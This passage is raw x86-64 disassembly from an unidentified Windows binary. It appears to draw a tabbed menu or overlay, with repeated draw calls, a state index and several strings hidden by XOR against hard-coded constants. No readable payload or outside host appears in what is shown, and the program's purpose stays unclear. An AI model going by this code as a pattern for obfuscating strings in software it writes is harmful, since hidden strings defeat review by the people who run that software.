mov qword [rbp + 0x3228], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x3220]
vmovdqa ymmword [rbp + 0x3d60], ymm1
vmovdqa xmmword [rbp + 0x3d80], xmm2
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_FreeConsole]
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0xdc48aca5c59eea30
mov qword [rbp + 0x10], rax
movabs rax, 0x729e6a1287b9b584
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1780], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1788], rcx
lea rcx, [rbp + 0x17a0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1790], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1780]
mov qword [rbp + 0x1798], rax
xorps xmm0, xmmword [rbp + 0x1790]
movdqa xmmword [rbp + 0x1780], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f55c]
lea rcx, [rbp + 0x698]
movss xmm1, dword [0x14016f554]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
lea rcx, [rbp + 0x1780]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x17b0]
mov edx, 0x64
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f55c]
lea rcx, [rbp + 0x6a0]
movss xmm1, dword [0x14016f594]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
lea rcx, [0x1403a2730]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
movss xmm2, dword [0x14016f574]
lea rcx, [rbp + 0x6a8]
movss xmm1, dword [0x14016f554]
call fcn.140001d60
mov rcx, rax
call fcn.140016fb0
movss xmm2, dword [0x14016f500]
movss xmm1, dword [0x14016f560]
lea rcx, [rbp + 0x6b0]
call fcn.140001d60
mov rdx, rax
mov qword [rsp + 0x38], rsi
xor eax, eax
mov qword [rsp + 0x30], rsi
mov byte [rbp], al
lea r8, [0x1403a2730]
mov byte [rbp], al
movabs rdi, 0x729e6a1287b9b5be
mov byte [rbp], al
mov r9d, 0x40
movabs rax, 0xcb40be9e978cfc2b
mov dword [rsp + 0x28], esi
mov qword [rbp + 0x10], rax
movabs rax, 0x729e6a12e2d4d4d0
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x17c0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x17c8], rcx
lea rcx, reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x17d0], rax
mov qword [rsp + 0x20], rdx
lea rdx, [rbp + 0x17c0]
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x17c0]
mov qword [rbp + 0x17d8], rax
xorps xmm0, xmmword [rbp + 0x17d0]
movdqa xmmword [rbp + 0x17c0], xmm0
call fcn.140037070
jmp 0x140054979
movabs rdi, 0x729e6a1287b9b5be
cmp dword [0x1403a2288], 8
jne 0x140055f2b
call fcn.140013290
mov edx, reloc.WS2_32.dll_recv
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x17e0]
mov r8d, edx
mov rsi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f640]
lea rcx, [rbp + 0x6b8]
movss xmm1, dword [0x14016f544]
mov edi, eax
call fcn.140001d60
movaps xmm2, xmm14
lea rcx, [rbp + 0x6c0]
movaps xmm1, xmm14
mov rbx, rax
call fcn.140001d60
mov r9d, edi
mov dword [rsp + 0x28], 0
mov r8, rbx
movss dword [rsp + 0x20], xmm14
mov rdx, rax
mov rcx, rsi
call fcn.140024370
movss xmm0, dword [0x14016f50c]
lea rcx, [rbp + 0x6c8]
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140001d60
mov rcx, rax
call fcn.140016fb0
call fcn.1400172a0
mov rcx, r14
call fcn.140012cb0
movaps xmm2, xmm15
lea rcx, [rbp + 0x6d0]
movaps xmm1, xmm15
call fcn.140001d60
cmp dword [0x1403a2288], 3
lea rdx, [0x14016a064]
mov r8, rax
sete cl
call fcn.1400337f0
test al, al
je 0x140054a74
mov dword [0x1403a2288], 3
movaps xmm2, xmm15
lea rcx, [rbp + 0x6d8]
movaps xmm1, xmm15
call fcn.140001d60
cmp dword [0x1403a2288], 4
lea rdx, [0x14016a068]
mov r8, rax
sete cl
call fcn.1400337f0
test al, al
je 0x140054aaf
mov dword [0x1403a2288], 4
movaps xmm2, xmm15
lea rcx, [rbp + 0x6e0]
movaps xmm1, xmm15
call fcn.140001d60
cmp dword [0x1403a2288], 5
lea rdx, [0x14016a06c]
mov r8, rax
sete cl
call fcn.1400337f0
test al, al
je 0x140054aea
mov dword [0x1403a2288], 5
movaps xmm2, xmm15
lea rcx, [rbp + 0x6e8]
movaps xmm1, xmm15
call fcn.140001d60
cmp dword [0x1403a2288], 6
lea rdx, [0x14016a070]
mov r8, rax
sete cl
call fcn.1400337f0
test al, al
je 0x140054b25
mov dword [0x1403a2288], 6
movaps xmm2, xmm15
lea rcx, [rbp + 0x6f0]
movaps xmm1, xmm15
call fcn.140001d60
cmp dword [0x1403a2288], 7
lea rdx, [0x14016a074]
mov r8, rax
sete cl
call fcn.1400337f0
test al, al
je 0x140054b60
mov dword [0x1403a2288], 7
call fcn.140012d50
call fcn.140017400
movss xmm2, dword [0x14016f500]
lea rcx, [rbp + 0x6f8]
movss xmm1, dword [0x14016f55c]
call fcn.140001d60
mov rcx, rax
call fcn.140016fb0
movaps xmm2, xmm14
lea rcx, [rbp + 0x700]
movaps xmm1, xmm14
call fcn.140001d60
mov r8, rax
lea rdx, [rbp + 0x17f0]
xor eax, eax
movabs rbx, 0x729e6a1287b9b5be
mov byte [rbp], al
movabs rdi, 0xb925cdcbb7fb9965
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xb925a1aada89f62b
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x17f0], rcx
mov qword [rbp + 0x10], rbx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x17f8], rcx
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1800], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x17f0]
cmp dword [0x1403a2288], 4
mov qword [rbp + 0x1808], rax
xorps xmm0, xmmword [rbp + 0x1800]
sete cl
xor r9d, r9d
movdqa xmmword [rbp + 0x17f0], xmm0
call fcn.140036950
test al, al
je 0x140054c48
mov dword [0x1403a2288], 4
movss xmm1, dword [0x14016f668]
movaps xmm0, xmm14
call fcn.140016f00
movss xmm1, dword [0x14016f668]
movaps xmm0, xmm14
call fcn.140016f00
movaps xmm2, xmm14
lea rcx, [rbp + 0x708]
movaps xmm1, xmm14
call fcn.140001d60
mov r8, rax
lea rdx, [rbp + 0x1810]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xb925cdcbfebddc30
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1810], rcx
mov qword [rbp + 0x10], rbx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1818], rcx
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1820], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1810]
cmp dword [0x1403a2288], 8
mov qword [rbp + 0x1828], rax
xorps xmm0, xmmword [rbp + 0x1820]
sete cl
xor r9d, r9d
movdqa xmmword [rbp + 0x1810], xmm0
call fcn.140036950
test al, al
je 0x140054d10
mov dword [0x1403a2288], 8
movss xmm1, dword [0x14016f668]
movaps xmm0, xmm14
call fcn.140016f00
movss xmm1, dword [0x14016f668]
movaps xmm0, xmm14
call fcn.140016f00
movaps xmm2, xmm14
lea rcx, [rbp + 0x710]
movaps xmm1, xmm14
call fcn.140001d60
mov r8, rax
lea rdx, [rbp + 0x1830]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xb925cdcbb7b2df20
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1830], rcx
mov qword [rbp + 0x10], rbx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1838], rcx
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1840], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1830]
cmp dword [0x1403a2288], 9
mov qword [rbp + 0x1848], rax
xorps xmm0, xmmword [rbp + 0x1840]
sete cl
xor r9d, r9d
movdqa xmmword [rbp + 0x1830], xmm0
call fcn.140036950
test al, al
je 0x140054dd8
mov dword [0x1403a2288], 9
call fcn.140013290
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x1850]
mov edx, 0x46
mov rsi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x718]
movss xmm1, dword [rbp + 0x190]
mov edi, eax
addss xmm2, dword [0x14016f590]
addss xmm1, dword [0x14016f61c]
call fcn.140001d60
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x720]
movss xmm1, dword [rbp + 0x190]
mov rbx, rax
addss xmm2, dword [0x14016f52c]
addss xmm1, dword [0x14016f554]
call fcn.140001d60
movss xmm0, dword [0x14016f488]
mov r9d, edi
movss dword [rsp + 0x30], xmm0
mov r8, rbx
movss xmm0, dword [0x14016f4a4]
mov rdx, rax
mov dword [rsp + 0x28], 0
mov rcx, rsi
movss dword [rsp + 0x20], xmm0
call fcn.140024290
movss xmm2, dword [0x14016f538]
lea rcx, [rbp + 0x728]
movss xmm1, dword [0x14016f564]
call fcn.140001d60
mov rcx, rax
call fcn.140016fb0
call fcn.1400172a0
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
movabs rdx, 0x729e6a1287b9b5be
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x991fbebec39aed36
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1860], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1868], rcx
lea rcx, [rbp + 0x1880]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1870], rax
mov qword [rbp + 0x10], rdx
mov edx, 0xff
mov rax, qword [rbp + 0x10]
mov r9d, edx
movdqa xmm0, xmmword [rbp + 0x1860]
mov r8d, edx
mov qword [rbp + 0x1878], rax
xorps xmm0, xmmword [rbp + 0x1870]
movdqa xmmword [rbp + 0x1860], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f538]
lea rcx, [rbp + 0x730]
movss xmm1, dword [0x14016f574]
mov ebx, eax
call fcn.140001d60
xor esi, esi
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov rdx, qword [0x1403a2268]
lea rcx, [rbp + 0x1860]
mov qword [rsp + 0x30], rsi
mov r9, rax
mov qword [rsp + 0x28], rcx
movaps xmm2, xmm7
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov r9d, 0xff
mov byte [rbp], al
xor r8d, r8d
mov byte [rbp], al
mov edx, 0x64
mov byte [rbp], al
movabs rax, 0xcd46a8bfd29ff730
mov qword [rbp + 0x10], rax
movabs rax, 0x729e6a1287b9d1db
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1890], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1898], rcx
lea rcx, [rbp + 0x18b0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x18a0], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1890]
mov qword [rbp + 0x18a8], rax
xorps xmm0, xmmword [rbp + 0x18a0]
movdqa xmmword [rbp + 0x1890], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f538]
lea rcx, [rbp + 0x738]
movss xmm1, dword [0x14016f59c]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
lea rcx, [rbp + 0x1890]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
mov rsi, qword [rbp + 0x158]
mov rcx, rsi
call fcn.140012cb0
movss xmm2, dword [0x14016f53c]
lea rcx, [rbp + 0x740]
movss xmm1, dword [0x14016f564]
call fcn.140001d60
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x18c0]
mov edx, 0x64
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x18d0]
mov edx, 0x64
mov ebx, eax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm3, dword [0x14016f518]
lea rcx, [0x14016a0bc]
mov r8d, ebx
mov qword [rsp + 0x20], rdi
mov edx, eax
call fcn.140032790
call fcn.140012d50
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0xdd5598ebc388f829
mov qword [rbp + 0x10], rax
movabs rax, 0x729e6a32bddcc1df
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x18e0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x18e8], rcx
lea rcx, [rbp + 0x1900]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x18f0], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x18e0]
mov qword [rbp + 0x18f8], rax
xorps xmm0, xmmword [rbp + 0x18f0]
movdqa xmmword [rbp + 0x18e0], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f548]
lea rcx, [rbp + 0x748]
movss xmm1, dword [0x14016f574]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0x18e0]
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x8b15ffe48fcab653
mov qword [rbp + 0x10], rax
movabs rax, 0x729e6a1287b9b58a
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1910], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1918], rcx
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1920], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1928], rax
movdqa xmm0, xmmword [rbp + 0x1910]
lea rcx, [rbp + 0x1930]
xorps xmm0, xmmword [rbp + 0x1920]
mov r9d, 0xff
xor r8d, r8d
movdqa xmmword [rbp + 0x1910], xmm0
mov edx, 0x64
mov dword [rsp + 0x20], 0xff
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f548]
lea rcx, [rbp + 0x750]
movss xmm1, dword [0x14016f5b8]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0x1910]
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
mov rcx, rsi
call fcn.140012cb0
movss xmm2, dword [0x14016f54c]
lea rcx, [rbp + 0x758]
movss xmm1, dword [0x14016f564]
call fcn.140001d60
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x1940]
mov edx, 0x64
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x1950]
mov edx, 0x64
mov ebx, eax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm3, dword [0x14016f518]
lea rcx, [0x14016a0bc]
mov r8d, ebx
mov qword [rsp + 0x20], rdi
mov edx, eax
call fcn.140032790
call fcn.140012d50
call fcn.140013290
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xcc76edb8d296f822
mov qword [rbp + 0x10], rax
movabs rax, 0x48fa0f66f5d6c5ce
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2540], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xd106f6115ac31317
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2548], rcx
movabs rcx, 0xdaf40e281c80c3c8
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2550], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2558], rax
movabs rax, 0xb925cdcbb7fb9965
mov dword [rsp + 0x20], 0xff
mov qword [rbp + 0x10], rax
mov edx, 0xff
mov rax, qword [rbp + 0x10]
mov r9d, edx
mov qword [rbp + 0x2560], rax
mov r8d, edx
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2568], rax
movabs rax, 0xd106f6115ac31337
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2570], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x1960]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2578], rax
vmovdqu ymm0, ymmword [rbp + 0x2560]
vpxor ymm1, ymm0, ymmword [rbp + 0x2540]
vmovdqa ymmword [rbp + 0x2540], ymm1
vzeroupper
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f564]
lea rcx, [rbp + 0x760]
movss xmm1, dword [0x14016f574]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0x2540]
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov r9d, 0xff
mov byte [rbp], al
xor r8d, r8d
mov byte [rbp], al
mov edx, 0x64
mov byte [rbp], al
movabs rax, 0xdc48ac8c9797f524
mov qword [rbp + 0x10], rax
movabs rax, 0x729e6a1287b9b5cd
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1970], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1978], rcx
lea rcx, [rbp + 0x1990]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1980], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1988], rax
movdqa xmm0, xmmword [rbp + 0x1980]
xorps xmm0, xmmword [rbp + 0x1970]
movdqa xmmword [rbp + 0x1970], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f564]
lea rcx, [rbp + 0x768]
movss xmm1, dword [0x14016f5d8]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0x1970]
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
mov rcx, rsi
call fcn.140012cb0
movss xmm2, dword [0x14016f568]
lea rcx, [rbp + 0x770]
movss xmm1, dword [0x14016f564]
call fcn.140001d60
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x19a0]
mov edx, 0x64
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x19b0]
mov edx, 0x64
mov ebx, eax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm3, dword [0x14016f518]
lea rcx, [0x14016a0bc]
mov r8d, ebx
mov qword [rsp + 0x20], rdi
mov edx, eax
call fcn.140032790
call fcn.140012d50
mov rcx, rsi
call fcn.140012cb0
movss xmm2, dword [0x14016f568]
lea rcx, [rbp + 0x778]
movss xmm1, dword [0x14016f564]
call fcn.140001d60
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x19c0]
mov edx, 0x64
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x19d0]
mov edx, 0x64
mov ebx, eax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm3, dword [0x14016f518]
lea rcx, [0x14016a0bc]
mov r8d, ebx
mov qword [rsp + 0x20], rdi
mov edx, eax
call fcn.140032790
call fcn.140012d50
call fcn.140017400
call fcn.140013290
mov rsi, rax
mov dword [rsp + 0x20], 0xff
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x46
lea rcx, [rbp + 0x19e0]
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x780]
movss xmm1, dword [rbp + 0x190]
mov edi, eax
addss xmm2, dword [0x14016f61c]
addss xmm1, dword [0x14016f61c]
call fcn.140001d60
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x788]
movss xmm1, dword [rbp + 0x190]
mov rbx, rax
addss xmm2, dword [0x14016f5b4]
addss xmm1, dword [0x14016f554]
call fcn.140001d60
movss xmm0, dword [0x14016f488]
mov r9d, edi
movss dword [rsp + 0x30], xmm0
mov r8, rbx
movss xmm0, dword [0x14016f4a4]
mov rdx, rax
mov dword [rsp + 0x28], 0
mov rcx, rsi
movss dword [rsp + 0x20], xmm0
call fcn.140024290
movss xmm2, dword [0x14016f5c4]
lea rcx, [rbp + 0x790]
movss xmm1, dword [0x14016f55c]
call fcn.140001d60
mov rcx, rax
call fcn.140016fb0
call fcn.1400172a0
call fcn.140017400
movss xmm2, dword [0x14016f608]
lea rcx, [rbp + 0x798]
movss xmm1, dword [0x14016f55c]
call fcn.140001d60
mov rcx, rax
call fcn.140016fb0
movss xmm2, dword [0x14016f508]
lea rcx, [rbp + 0x7a0]
movss xmm1, dword [0x14016f5a4]
call fcn.140001d60
mov rdx, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xd049acbec389f033
mov qword [rbp + 0x10], rax
movabs rax, 0x729e6a1287b9d0c4
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x19f0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x19f8], rcx
lea rcx, [rbp + 0x19f0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1a00], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1a08], rax
movdqa xmm0, xmmword [rbp + 0x1a00]
xorps xmm0, xmmword [rbp + 0x19f0]
movdqa xmmword [rbp + 0x19f0], xmm0
call fcn.140031ab0
test al, al
je 0x1400559c3
mov dword [0x1403a2288], 0xc
call fcn.140013290
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x1a10]
mov edx, 0x46
mov rsi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x7a8]
movss xmm1, dword [rbp + 0x190]
mov edi, eax
addss xmm2, dword [0x14016f590]
addss xmm1, dword [0x14016f63c]
call fcn.140001d60
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x7b0]
movss xmm1, dword [rbp + 0x190]
mov rbx, rax
addss xmm2, dword [0x14016f52c]
addss xmm1, dword [0x14016f620]
call fcn.140001d60
movss xmm0, dword [0x14016f488]
mov r9d, edi
movss dword [rsp + 0x30], xmm0
mov r8, rbx
movss xmm0, dword [0x14016f4a4]
mov rdx, rax
mov dword [rsp + 0x28], 0
mov rcx, rsi
movss dword [rsp + 0x20], xmm0
call fcn.140024290
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
movabs rdx, 0x729e6a1287b9b5be
mov byte [rbp], al
mov r9d, 0xff
mov byte [rbp], al
xor r8d, r8d
mov byte [rbp], al
movabs rax, 0xb925cdcbb7fb9921
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1a20], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1a28], rcx
lea rcx, [rbp + 0x1a40]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1a30], rax
mov qword [rbp + 0x10], rdx
mov edx, 0x64
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1a38], rax
movdqa xmm0, xmmword [rbp + 0x1a30]
xorps xmm0, xmmword [rbp + 0x1a20]
movdqa xmmword [rbp + 0x1a20], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f520]
lea rcx, [rbp + 0x7b8]
movss xmm1, dword [0x14016f620]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2278]
lea rcx, [rbp + 0x1a20]
xor esi, esi
mov r9, rax
mov qword [rsp + 0x40], rsi
movaps xmm2, xmm6
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], ebx
mov rcx, rdi
call fcn.140024630
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xf0
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x9957a8add894e936
mov qword [rbp + 0x10], rax
movabs rax, 0x729e6a12f4dedaf2
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1a50], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1a58], rcx
lea rcx, [rbp + 0x1a70]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1a60], rax
movabs rax, 0x729e6a1287b9b5be
